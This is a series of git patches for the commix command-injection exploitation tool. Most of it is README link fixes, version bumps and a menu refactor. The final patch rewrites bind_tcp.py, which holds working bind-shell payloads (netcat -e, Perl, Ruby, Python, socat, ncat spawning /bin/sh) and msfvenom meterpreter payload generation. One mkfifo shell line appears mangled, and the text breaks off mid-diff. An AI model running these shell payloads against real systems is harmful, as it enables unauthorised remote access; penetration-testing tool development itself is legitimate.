-To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**]ploiter) είναι πρόγραμμα ανοιχτού κώδικα, γραμμένο από τον **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου **[command injection](https://www.owasp.org/index.php/Command_Injection)**. +To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**]ploiter) είναι πρόγραμμα ανοιχτού κώδικα, γραμμένο από τον **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου **[command injection](https://owasp.org/www-community/attacks/Command_Injection)**. ## Εικόνα diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md index 7f28d9751d..f3ff868bc2 100644 --- a/doc/translations/README-idn-IDN.md +++ b/doc/translations/README-idn-IDN.md @@ -9,7 +9,7 @@

-**Commix** (kependekan dari [**comm**]and [**i**]njection e[**x**]ploiter) adalah alat pengujian penetrasi open source, yang ditulis oleh **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), yang mengotomatiskan deteksi dan eksploitasi kerentanan **[command injection](https://www.owasp.org/index.php/Command_Injection)**. +**Commix** (kependekan dari [**comm**]and [**i**]njection e[**x**]ploiter) adalah alat pengujian penetrasi open source, yang ditulis oleh **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), yang mengotomatiskan deteksi dan eksploitasi kerentanan **[command injection](https://owasp.org/www-community/attacks/Command_Injection)**. ![Screenshot](https://commixproject.com/images/background.png) diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index 422bbac553..fe10bc23f7 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -11,7 +11,7 @@

-**Commix** ([comm]and [i]njection e[x]ploiter'ın kısaltması), **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**) tarafından yazılan ve **[Komut enjeksiyonu](https://www.owasp.org/index.php/Command_Injection)** güvenlik açıklarının tespitini ve istismarını otomatikleştiren açık kaynaklı bir sızma testi aracıdır. +**Commix** ([comm]and [i]njection e[x]ploiter'ın kısaltması), **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**) tarafından yazılan ve **[Komut enjeksiyonu](https://owasp.org/www-community/attacks/Command_Injection)** güvenlik açıklarının tespitini ve istismarını otomatikleştiren açık kaynaklı bir sızma testi aracıdır. ![Screenshot](https://commixproject.com/images/background.png) diff --git a/src/utils/settings.py b/src/utils/settings.py index 6b423a22eb..f9f7f1a493 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "26" +REVISION = "27" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 68db0faaf65c724bd3ae9ce4e9bf95c1a1856ab0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 25 Jul 2026 09:45:47 +0300 Subject: [PATCH 0683/1023] Trivial update --- src/utils/menu.py | 108 +++++++++++++++++++++++++----------------- src/utils/settings.py | 2 +- 2 files changed, 65 insertions(+), 45 deletions(-) diff --git a/src/utils/menu.py b/src/utils/menu.py index a9883adc95..5e21b9fe88 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -673,57 +673,77 @@ def _(self, *args): # argv input errors settings.sys_argv_errors() -""" -The "os_shell" available options. -""" +# Common interactive shell options. +COMMON_OPTIONS = ( + (("?",), "show this help"), + (("back",), "return to the previous menu"), + (("quit", "exit"), "exit Commix (or press )"), +) + +# OS shell specific options. +OS_SHELL_OPTIONS = COMMON_OPTIONS + ( + (("reverse_tcp",), "configure a reverse TCP shell"), + (("bind_tcp",), "configure a bind TCP shell"), +) + +# Reverse TCP shell specific options. +REVERSE_TCP_OPTIONS = COMMON_OPTIONS + ( + (("set",), "set a context option"), + (("os_shell",), "return to the OS shell"), + (("bind_tcp",), "switch to the bind TCP shell"), +) + +# Bind TCP shell specific options. +BIND_TCP_OPTIONS = COMMON_OPTIONS + ( + (("set",), "set a context option"), + (("os_shell",), "return to the OS shell"), + (("reverse_tcp",), "switch to the reverse TCP shell"), +) + +# Available smartphones HTTP User-Agent headers. +MOBILE_USER_AGENTS = ( + ("1", "BlackBerry Z10"), + ("2", "Samsung Galaxy S7"), + ("3", "HP iPAQ 6365"), + ("4", "HTC 10"), + ("5", "Huawei P8"), + ("6", "Apple iPhone 8"), + ("7", "Microsoft Lumia 950"), + ("8", "Google Nexus 7"), + ("9", "Nokia N97"), + ("10", "Google Pixel"), + ("11", "Xiaomi Mi 3"), +) + + +# Print available context options. +def _print_options(context, options): + ... + + +# Print available mobile user agents. +def _print_mobile_user_agents(): + ... + + +# Display OS shell options. def os_shell_options(): - settings.print_data_to_stdout("""""" + Style.BRIGHT + """Available 'os_shell' options:""" + Style.RESET_ALL + """ -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' / '""" + Style.BRIGHT + """exit""" + Style.RESET_ALL + """' (or use ) to quit commix. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """reverse_tcp""" + Style.RESET_ALL + """' to get a reverse TCP connection. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """bind_tcp""" + Style.RESET_ALL + """' to set a bind TCP connection.""") + _print_options("os_shell", OS_SHELL_OPTIONS) -""" -The "reverse_tcp" available options. -""" + +# Display reverse TCP options. def reverse_tcp_options(): - settings.print_data_to_stdout("""""" + Style.BRIGHT + """Available 'reverse_tcp' options:""" + Style.RESET_ALL + """ -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' / '""" + Style.BRIGHT + """exit""" + Style.RESET_ALL + """' (or use ) to quit commix. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """os_shell""" + Style.RESET_ALL + """' to get into an operating system command shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """bind_tcp""" + Style.RESET_ALL + """' to set a bind TCP connection.""") + _print_options("reverse_tcp", REVERSE_TCP_OPTIONS) -""" -The "bind_tcp" available options. -""" + +# Display bind TCP options. def bind_tcp_options(): - settings.print_data_to_stdout("""""" + Style.BRIGHT + """Available 'bind_tcp' options:""" + Style.RESET_ALL + """ -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' / '""" + Style.BRIGHT + """exit""" + Style.RESET_ALL + """' (or use ) to quit commix. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """os_shell""" + Style.RESET_ALL + """' to get into an operating system command shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """reverse_tcp""" + Style.RESET_ALL + """' to get a reverse TCP connection.""") + _print_options("bind_tcp", BIND_TCP_OPTIONS) -""" -The available mobile user agents. -""" + +# Display mobile user agents. def mobile_user_agents(): - settings.print_data_to_stdout("""""" + Style.BRIGHT + """Available smartphones HTTP User-Agent headers:""" + Style.RESET_ALL + """ -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for BlackBerry Z10. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for Samsung Galaxy S7. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' for HP iPAQ 6365. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' for HTC 10. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' for Huawei P8. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' for Apple iPhone 8. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' for Microsoft Lumia 950. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' for Google Nexus 7. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' for Nokia N97. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' for Google Pixel". -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' for Xiaomi Mi 3.""") + _print_mobile_user_agents() """ The tab compliter (shell options). diff --git a/src/utils/settings.py b/src/utils/settings.py index f9f7f1a493..58cbca3dcf 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "27" +REVISION = "28" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4bc8880045db335844717078d14abbc82cb76aa0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 26 Jul 2026 07:50:28 +0300 Subject: [PATCH 0684/1023] Trivial update regarding https://github.com/commixproject/commix/commit/68db0faaf65c724bd3ae9ce4e9bf95c1a1856ab0 --- src/utils/menu.py | 59 ++++++++++++++++++++++++++++++++++++----------- 1 file changed, 46 insertions(+), 13 deletions(-) diff --git a/src/utils/menu.py b/src/utils/menu.py index 5e21b9fe88..f78f02b661 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -673,34 +673,30 @@ def _(self, *args): # argv input errors settings.sys_argv_errors() -# Common interactive shell options. COMMON_OPTIONS = ( (("?",), "show this help"), (("back",), "return to the previous menu"), (("quit", "exit"), "exit Commix (or press )"), ) -# OS shell specific options. OS_SHELL_OPTIONS = COMMON_OPTIONS + ( (("reverse_tcp",), "configure a reverse TCP shell"), (("bind_tcp",), "configure a bind TCP shell"), ) -# Reverse TCP shell specific options. REVERSE_TCP_OPTIONS = COMMON_OPTIONS + ( (("set",), "set a context option"), (("os_shell",), "return to the OS shell"), (("bind_tcp",), "switch to the bind TCP shell"), ) -# Bind TCP shell specific options. BIND_TCP_OPTIONS = COMMON_OPTIONS + ( (("set",), "set a context option"), (("os_shell",), "return to the OS shell"), (("reverse_tcp",), "switch to the reverse TCP shell"), ) -# Available smartphones HTTP User-Agent headers. + MOBILE_USER_AGENTS = ( ("1", "BlackBerry Z10"), ("2", "Samsung Galaxy S7"), @@ -716,32 +712,69 @@ def _(self, *args): ) -# Print available context options. def _print_options(context, options): - ... + message = ( + Style.BRIGHT + + "Available '" + + context + + "' options:" + + Style.RESET_ALL + + "\n" + ) + + for commands, description in options: + command = " / ".join( + "'" + Style.BRIGHT + cmd + Style.RESET_ALL + "'" + for cmd in commands + ) + + message += ( + settings.SUB_CONTENT_SIGN_TYPE + + "Type " + + command + + " to " + + description + + ".\n" + ) + + settings.print_data_to_stdout(message.rstrip()) -# Print available mobile user agents. def _print_mobile_user_agents(): - ... + message = ( + Style.BRIGHT + + "Available smartphones HTTP User-Agent headers:" + + Style.RESET_ALL + + "\n" + ) + + for option, device in MOBILE_USER_AGENTS: + message += ( + settings.SUB_CONTENT_SIGN_TYPE + + "Type '" + + Style.BRIGHT + + option + + Style.RESET_ALL + + "' for " + + device + + ".\n" + ) + + settings.print_data_to_stdout(message.rstrip()) -# Display OS shell options. def os_shell_options(): _print_options("os_shell", OS_SHELL_OPTIONS) -# Display reverse TCP options. def reverse_tcp_options(): _print_options("reverse_tcp", REVERSE_TCP_OPTIONS) -# Display bind TCP options. def bind_tcp_options(): _print_options("bind_tcp", BIND_TCP_OPTIONS) -# Display mobile user agents. def mobile_user_agents(): _print_mobile_user_agents() From 8e1522b0694b31c5dc89a9223506ab95c8446a3b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 26 Jul 2026 07:51:48 +0300 Subject: [PATCH 0685/1023] Update settings.py --- src/utils/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index 58cbca3dcf..eb4f5cebef 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "28" +REVISION = "29" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 8034dd4ed5374dbe73a327896ff79a06c854e123 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 27 Jul 2026 07:35:46 +0300 Subject: [PATCH 0686/1023] Trivial update for closing the urllib response --- src/utils/common.py | 4 +++- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/src/utils/common.py b/src/utils/common.py index 3e37b22609..46b6ff23b8 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -210,7 +210,9 @@ def create_github_issue(err_msg, exc_msg): ) try: - content = _urllib.request.urlopen(request, timeout=settings.TIMEOUT).read() + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + content = response.read() + response.close() _ = json.loads(content) duplicate = _["total_count"] > 0 diff --git a/src/utils/settings.py b/src/utils/settings.py index eb4f5cebef..3e3dfab28d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "29" +REVISION = "30" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From bbf194666156572eb56de5b29a0b58111c1539ac Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 1 Aug 2026 08:42:09 +0300 Subject: [PATCH 0687/1023] Trivial update --- src/core/shells/bind_tcp.py | 458 ++++++++++++++++++++++-------- src/core/shells/reverse_tcp.py | 490 ++++++++++++++++++++++++++------- src/utils/settings.py | 2 +- 3 files changed, 727 insertions(+), 223 deletions(-) diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index e0bf8ab102..fbe67f5586 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -30,60 +30,104 @@ Set up the netcat bind TCP connection """ def netcat_version(separator): - # Defined shell shell = "sh" # Netcat alternatives - NETCAT_ALTERNATIVES = [ + NETCAT_ALTERNATIVES = ( "nc", "busybox nc", "nc.traditional", - "nc.openbsd" - ] - - settings.print_data_to_stdout(Style.BRIGHT + """Available netcat bind TCP shell options:""" + Style.RESET_ALL + """ -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host.""") + "nc.openbsd", + ) + + # Available netcat bind TCP shell options. + NETCAT_OPTIONS = ( + ("1", "use the default Netcat on target host"), + ("2", "use Netcat for Busybox on target host"), + ("3", "use Netcat-Traditional on target host"), + ("4", "use Netcat-Openbsd on target host"), + ) + + message = ( + Style.BRIGHT + + "Available netcat bind TCP shell options:" + + Style.RESET_ALL + + "\n" + ) + + for option, description in NETCAT_OPTIONS: + message += ( + settings.SUB_CONTENT_SIGN_TYPE + + "Type '" + + Style.BRIGHT + + option + + Style.RESET_ALL + + "' to " + + description + + ".\n" + ) + + settings.print_data_to_stdout(message.rstrip()) + while True: - nc_version = _input("""commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_netcat""" + Style.RESET_ALL + """) > """) - # Default Netcat + nc_version = _input( + "commix(" + + Style.BRIGHT + + Fore.RED + + "bind_tcp_netcat" + + Style.RESET_ALL + + ") > " + ) + + # Default Netcat. if nc_version == '1': nc_alternative = NETCAT_ALTERNATIVES[0] break - # Netcat for Busybox - if nc_version == '2': + + # Netcat for Busybox. + elif nc_version == '2': nc_alternative = NETCAT_ALTERNATIVES[1] break - # Netcat-Traditional + + # Netcat-Traditional. elif nc_version == '3': nc_alternative = NETCAT_ALTERNATIVES[2] break - # Netcat-Openbsd (nc without -e) + + # Netcat-Openbsd (nc without -e). elif nc_version == '4': nc_alternative = NETCAT_ALTERNATIVES[3] break - # Check for available shell options + + # Check for available shell options. elif any(option in nc_version.lower() for option in settings.SHELL_OPTIONS): if checks.shell_options(nc_version): return checks.shell_options(nc_version) - # Invalid command + + # Invalid command. else: common.invalid_option(nc_version) continue nc_alternative, shell = checks.use_bin_subdir(nc_alternative, shell) + # Netcat with -e. if nc_version != '4': - # Netcat with -e cmd = nc_alternative + " -l -p " + settings.LPORT + " -e " + shell + + # nc without -e. else: - # nc without -e - cmd = shell + " -c \"" + shell + " 0/tmp/f\"" + cmd = ( + shell + + " -c \"" + + shell + + " 0/tmp/f\"" + ) return cmd @@ -91,21 +135,73 @@ def netcat_version(separator): Other bind shell options """ def other_bind_shells(separator): - settings.print_data_to_stdout(Style.BRIGHT + """Available generic bind TCP shell options:""" + Style.RESET_ALL + """ -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP bind TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl bind TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby bind TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python bind TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat bind TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Ncat bind TCP shell. -""" + Style.BRIGHT + """Available meterpreter bind TCP shell options:""" + Style.RESET_ALL + """ -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a PHP meterpreter bind TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python meterpreter bind TCP shell.""") + # Available generic bind TCP shell options. + BIND_TCP_SHELLS = ( + ("1", "use a PHP bind TCP shell"), + ("2", "use a Perl bind TCP shell"), + ("3", "use a Ruby bind TCP shell"), + ("4", "use a Python bind TCP shell"), + ("5", "use a Socat bind TCP shell"), + ("6", "use a Ncat bind TCP shell"), + ) + + METERPRETER_SHELLS = ( + ("7", "use a PHP meterpreter bind TCP shell"), + ("8", "use a Python meterpreter bind TCP shell"), + ) + + message = ( + Style.BRIGHT + + "Available generic bind TCP shell options:" + + Style.RESET_ALL + + "\n" + ) + + for option, description in BIND_TCP_SHELLS: + message += ( + settings.SUB_CONTENT_SIGN_TYPE + + "Type '" + + Style.BRIGHT + + option + + Style.RESET_ALL + + "' to " + + description + + ".\n" + ) + + message += ( + Style.BRIGHT + + "Available meterpreter bind TCP shell options:" + + Style.RESET_ALL + + "\n" + ) + + for option, description in METERPRETER_SHELLS: + message += ( + settings.SUB_CONTENT_SIGN_TYPE + + "Type '" + + Style.BRIGHT + + option + + Style.RESET_ALL + + "' to " + + description + + ".\n" + ) + + settings.print_data_to_stdout(message.rstrip()) + while True: - other_shell = _input("""commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_other""" + Style.RESET_ALL + """) > """) - # PHP-bind-shell + other_shell = _input( + "commix(" + + Style.BRIGHT + + Fore.RED + + "bind_tcp_other" + + Style.RESET_ALL + + ") > " + ) + + # PHP bind shell. if other_shell == '1': - if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG settings.print_data_to_stdout(settings.print_error_msg(error_msg)) @@ -116,87 +212,122 @@ def other_bind_shells(separator): info_msg = "Generating the '" + payload + "' payload. " settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - + try: - proc = subprocess.Popen("msfvenom -p " + str(payload) + + proc = subprocess.Popen( + "msfvenom -p " + str(payload) + " RHOST=" + str(settings.RHOST) + " LPORT=" + str(settings.LPORT) + - " -e php/base64 -o " + output + settings.NO_OUTPUT, shell=True).wait() + " -e php/base64 -o " + output + settings.NO_OUTPUT, + shell=True + ).wait() - with open (output, "r+") as content_file: + with open(output, "r+") as content_file: data = content_file.readlines() - data = ''.join(data).replace(settings.END_LINE.LF,settings.SINGLE_WHITESPACE) + data = ''.join(data).replace( + settings.END_LINE.LF, + settings.SINGLE_WHITESPACE + ) settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - # Remove the ouput file. + + # Remove temporary output file. os.remove(output) + with open(output, 'w+') as filewrite: - filewrite.write("use exploit/multi/handler" + settings.END_LINE.LF + - "set payload " + payload + settings.END_LINE.LF + - "set rhost "+ str(settings.RHOST) + settings.END_LINE.LF + - "set lport "+ str(settings.LPORT) + settings.END_LINE.LF + - "exploit" + settings.END_LINE.LF * 2) + filewrite.write( + "use exploit/multi/handler" + settings.END_LINE.LF + + "set payload " + payload + settings.END_LINE.LF + + "set rhost " + str(settings.RHOST) + settings.END_LINE.LF + + "set lport " + str(settings.LPORT) + settings.END_LINE.LF + + "exploit" + settings.END_LINE.LF * 2 + ) if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: checks.set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -r " + data else: other_shell = "php -r \"" + data + "\"" + checks.msf_launch_msg(output) + except: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break - # Perl-bind-shell + # Perl bind shell. elif other_shell == '2': - other_shell = "perl -MIO -e '" \ - "$c=new IO::Socket::INET(LocalPort," + settings.LPORT + ",Reuse,1,Listen)->accept;" \ - "$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'" + other_shell = ( + "perl -MIO -e '" + "$c=new IO::Socket::INET(LocalPort," + + settings.LPORT + + ",Reuse,1,Listen)->accept;" + "$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'" + ) + break - # Ruby-bind-shell + # Ruby bind shell. elif other_shell == '3': - other_shell = "ruby -rsocket -e '" \ - "s=TCPServer.new(" + settings.LPORT + ");" \ - "c=s.accept;" \ - "s.close;" \ - "$stdin.reopen(c);" \ - "$stdout.reopen(c);" \ - "$stderr.reopen(c);" \ - "$stdin.each_line{|l|l=l.strip;" \ - "next if l.length==0;" \ - "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip)}})}'" + other_shell = ( + "ruby -rsocket -e '" + "s=TCPServer.new(" + + settings.LPORT + + ");c=s.accept;" + "s.close;" + "$stdin.reopen(c);" + "$stdout.reopen(c);" + "$stderr.reopen(c);" + "$stdin.each_line{|l|l=l.strip;" + "next if l.length==0;" + "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip)}})}'" + ) + break - # Python-bind-shell + # Python bind shell. elif other_shell == '4': - other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c 'import pty,os,socket%0d" \ - "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" \ - "s.bind((\"\"," + settings.LPORT + "))%0d" \ - "s.listen(1)%0d" \ - "(rem, addr) = s.accept()%0d" \ - "os.dup2(rem.fileno(),0)%0d" \ - "os.dup2(rem.fileno(),1)%0d" \ - "os.dup2(rem.fileno(),2)%0d" \ - "pty.spawn(\"/bin/sh\")%0d" \ - "s.close()'" + other_shell = ( + settings.LINUX_PYTHON_INTERPRETER + + " -c 'import pty,os,socket%0d" + "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" + "s.bind((\"\"," + + settings.LPORT + + "))%0d" + "s.listen(1)%0d" + "(rem, addr) = s.accept()%0d" + "os.dup2(rem.fileno(),0)%0d" + "os.dup2(rem.fileno(),1)%0d" + "os.dup2(rem.fileno(),2)%0d" + "pty.spawn(\"/bin/sh\")%0d" + "s.close()'" + ) + break - # Socat-bind-shell + # Socat bind shell. elif other_shell == '5': - other_shell = "socat tcp-listen:" + settings.LPORT + \ - " exec:\"sh\"" + other_shell = ( + "socat tcp-listen:" + + settings.LPORT + + " exec:\"sh\"" + ) + break - # Ncat-bind-shell + # Ncat bind shell. elif other_shell == '6': - other_shell = "ncat -k -l " + settings.LPORT + " -e /bin/sh" + other_shell = ( + "ncat -k -l " + + settings.LPORT + + " -e /bin/sh" + ) + break - # PHP-bind-shell(meterpreter) + # PHP meterpreter bind shell. elif other_shell == '7': - if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG settings.print_data_to_stdout(settings.print_error_msg(error_msg)) @@ -207,40 +338,52 @@ def other_bind_shells(separator): info_msg = "Generating the '" + payload + "' payload. " settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - + try: - proc = subprocess.Popen("msfvenom -p " + str(payload) + + proc = subprocess.Popen( + "msfvenom -p " + str(payload) + " RHOST=" + str(settings.RHOST) + " LPORT=" + str(settings.LPORT) + - " -e php/base64 -o " + output + settings.NO_OUTPUT, shell=True).wait() + " -e php/base64 -o " + output + settings.NO_OUTPUT, + shell=True + ).wait() - with open (output, "r+") as content_file: + with open(output, "r+") as content_file: data = content_file.readlines() - data = ''.join(data).replace(settings.END_LINE.LF,settings.SINGLE_WHITESPACE) + data = ''.join(data).replace( + settings.END_LINE.LF, + settings.SINGLE_WHITESPACE + ) settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - # Remove the ouput file. + + # Remove temporary output file. os.remove(output) + with open(output, 'w+') as filewrite: - filewrite.write("use exploit/multi/handler" + settings.END_LINE.LF + - "set payload " + payload + settings.END_LINE.LF + - "set rhost "+ str(settings.RHOST) + settings.END_LINE.LF + - "set lport "+ str(settings.LPORT) + settings.END_LINE.LF + - "exploit" + settings.END_LINE.LF * 2) + filewrite.write( + "use exploit/multi/handler" + settings.END_LINE.LF + + "set payload " + payload + settings.END_LINE.LF + + "set rhost " + str(settings.RHOST) + settings.END_LINE.LF + + "set lport " + str(settings.LPORT) + settings.END_LINE.LF + + "exploit" + settings.END_LINE.LF * 2 + ) if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: checks.set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -r " + data else: other_shell = "php -r \"" + data + "\"" + checks.msf_launch_msg(output) + except: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + break - # Python-bind-shell(meterpreter) + # Python meterpreter bind shell. elif other_shell == '8': - if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG settings.print_data_to_stdout(settings.print_error_msg(error_msg)) @@ -251,27 +394,33 @@ def other_bind_shells(separator): info_msg = "Generating the '" + payload + "' payload. " settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - + try: - proc = subprocess.Popen("msfvenom -p " + str(payload) + + proc = subprocess.Popen( + "msfvenom -p " + str(payload) + " RHOST=" + str(settings.RHOST) + " LPORT=" + str(settings.LPORT) + - " -o " + output + settings.NO_OUTPUT, shell=True).wait() + " -o " + output + settings.NO_OUTPUT, + shell=True + ).wait() - with open (output, "r") as content_file: + with open(output, "r") as content_file: data = content_file.readlines() data = ''.join(data) - #data = base64.b64encode(data.encode(settings.DEFAULT_CODEC)).decode() settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - # Remove the ouput file. + + # Remove temporary output file. os.remove(output) + with 